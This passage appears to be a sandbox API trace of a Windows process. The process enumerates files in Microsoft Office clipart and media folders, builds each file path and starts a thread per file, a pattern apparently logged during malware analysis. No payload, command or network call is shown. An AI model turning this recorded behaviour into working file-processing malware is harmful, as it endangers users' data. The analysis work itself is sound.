Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" [0142.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0142.241] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0142.242] wcscmp (_String1="WB02073_.GIF", _String2=".") returned 1 [0142.242] wcscmp (_String1="WB02073_.GIF", _String2="..") returned 1 [0142.242] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935b78 [0142.242] wcscpy (in: _Dest=0x935b78, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.242] wcscat (in: _Dest=0x935b78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.242] wcscat (in: _Dest=0x935b78, _Source="WB02073_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" [0142.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0142.243] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0142.243] wcscmp (_String1="WB02074_.GIF", _String2=".") returned 1 [0142.243] wcscmp (_String1="WB02074_.GIF", _String2="..") returned 1 [0142.243] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935ca0 [0142.243] wcscpy (in: _Dest=0x935ca0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.243] wcscat (in: _Dest=0x935ca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.243] wcscat (in: _Dest=0x935ca0, _Source="WB02074_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" [0142.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0142.245] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0142.245] wcscmp (_String1="WB02077_.GIF", _String2=".") returned 1 [0142.245] wcscmp (_String1="WB02077_.GIF", _String2="..") returned 1 [0142.245] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935d48 [0142.245] wcscpy (in: _Dest=0x935d48, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.245] wcscat (in: _Dest=0x935d48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.245] wcscat (in: _Dest=0x935d48, _Source="WB02077_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" [0142.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0142.843] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0142.843] wcscmp (_String1="WB02082_.GIF", _String2=".") returned 1 [0142.843] wcscmp (_String1="WB02082_.GIF", _String2="..") returned 1 [0142.843] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935df0 [0142.843] wcscpy (in: _Dest=0x935df0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.843] wcscat (in: _Dest=0x935df0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.843] wcscat (in: _Dest=0x935df0, _Source="WB02082_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" [0146.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c [0146.805] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0146.805] wcscmp (_String1="WB02085_.GIF", _String2=".") returned 1 [0146.805] wcscmp (_String1="WB02085_.GIF", _String2="..") returned 1 [0146.805] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934678 [0146.805] wcscpy (in: _Dest=0x934678, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.805] wcscat (in: _Dest=0x934678, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.805] wcscat (in: _Dest=0x934678, _Source="WB02085_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" [0146.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280 [0146.806] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0146.806] wcscmp (_String1="WB02097_.GIF", _String2=".") returned 1 [0146.806] wcscmp (_String1="WB02097_.GIF", _String2="..") returned 1 [0146.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9345d0 [0146.806] wcscpy (in: _Dest=0x9345d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.807] wcscat (in: _Dest=0x9345d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.807] wcscat (in: _Dest=0x9345d0, _Source="WB02097_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" [0146.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9345d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284 [0146.808] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0146.808] wcscmp (_String1="WB02106_.GIF", _String2=".") returned 1 [0146.808] wcscmp (_String1="WB02106_.GIF", _String2="..") returned 1 [0146.808] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934528 [0146.808] wcscpy (in: _Dest=0x934528, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.808] wcscat (in: _Dest=0x934528, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.808] wcscat (in: _Dest=0x934528, _Source="WB02106_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" [0146.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288 [0146.809] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0146.809] wcscmp (_String1="WB02116_.GIF", _String2=".") returned 1 [0146.809] wcscmp (_String1="WB02116_.GIF", _String2="..") returned 1 [0146.810] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934480 [0146.810] wcscpy (in: _Dest=0x934480, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.810] wcscat (in: _Dest=0x934480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.810] wcscat (in: _Dest=0x934480, _Source="WB02116_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" [0146.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c [0146.811] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0146.811] wcscmp (_String1="WB02134_.GIF", _String2=".") returned 1 [0146.811] wcscmp (_String1="WB02134_.GIF", _String2="..") returned 1 [0146.811] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9343d8 [0146.811] wcscpy (in: _Dest=0x9343d8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.811] wcscat (in: _Dest=0x9343d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.811] wcscat (in: _Dest=0x9343d8, _Source="WB02134_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" [0146.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9343d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290 [0146.812] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0146.812] wcscmp (_String1="WB02187_.GIF", _String2=".") returned 1 [0146.812] wcscmp (_String1="WB02187_.GIF", _String2="..") returned 1 [0146.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934330 [0146.812] wcscpy (in: _Dest=0x934330, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.812] wcscat (in: _Dest=0x934330, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.812] wcscat (in: _Dest=0x934330, _Source="WB02187_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" [0146.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1294 [0146.814] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0146.814] wcscmp (_String1="WB02198_.GIF", _String2=".") returned 1 [0146.814] wcscmp (_String1="WB02198_.GIF", _String2="..") returned 1 [0146.814] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934288 [0146.814] wcscpy (in: _Dest=0x934288, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.814] wcscat (in: _Dest=0x934288, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.814] wcscat (in: _Dest=0x934288, _Source="WB02198_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" [0146.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1298 [0146.815] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0146.815] wcscmp (_String1="WB02201_.GIF", _String2=".") returned 1 [0146.815] wcscmp (_String1="WB02201_.GIF", _String2="..") returned 1 [0146.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9341e0 [0146.815] wcscpy (in: _Dest=0x9341e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.815] wcscat (in: _Dest=0x9341e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.815] wcscat (in: _Dest=0x9341e0, _Source="WB02201_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" [0146.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9341e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x129c [0146.817] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0146.817] wcscmp (_String1="WB02214_.GIF", _String2=".") returned 1 [0146.817] wcscmp (_String1="WB02214_.GIF", _String2="..") returned 1 [0146.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934138 [0146.817] wcscpy (in: _Dest=0x934138, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.817] wcscat (in: _Dest=0x934138, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.817] wcscat (in: _Dest=0x934138, _Source="WB02214_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" [0146.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0 [0146.818] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0146.818] wcscmp (_String1="WB02218_.GIF", _String2=".") returned 1 [0146.818] wcscmp (_String1="WB02218_.GIF", _String2="..") returned 1 [0146.818] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934090 [0146.818] wcscpy (in: _Dest=0x934090, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0146.818] wcscat (in: _Dest=0x934090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0146.818] wcscat (in: _Dest=0x934090, _Source="WB02218_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" [0146.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4 [0146.820] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0146.820] FindClose (in: hFindFile=0x8da390 | out: hFindFile=0x8da390) returned 1 [0146.820] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a7c0) returned 1 [0146.821] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6998) returned 1 [0146.821] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7460) returned 1 Thread: id = 1828 os_tid = 0xa30 [0140.624] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f11a8 [0140.624] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0140.624] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0140.624] wcscat (in: _Dest=0x8f11a8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*" [0140.624] 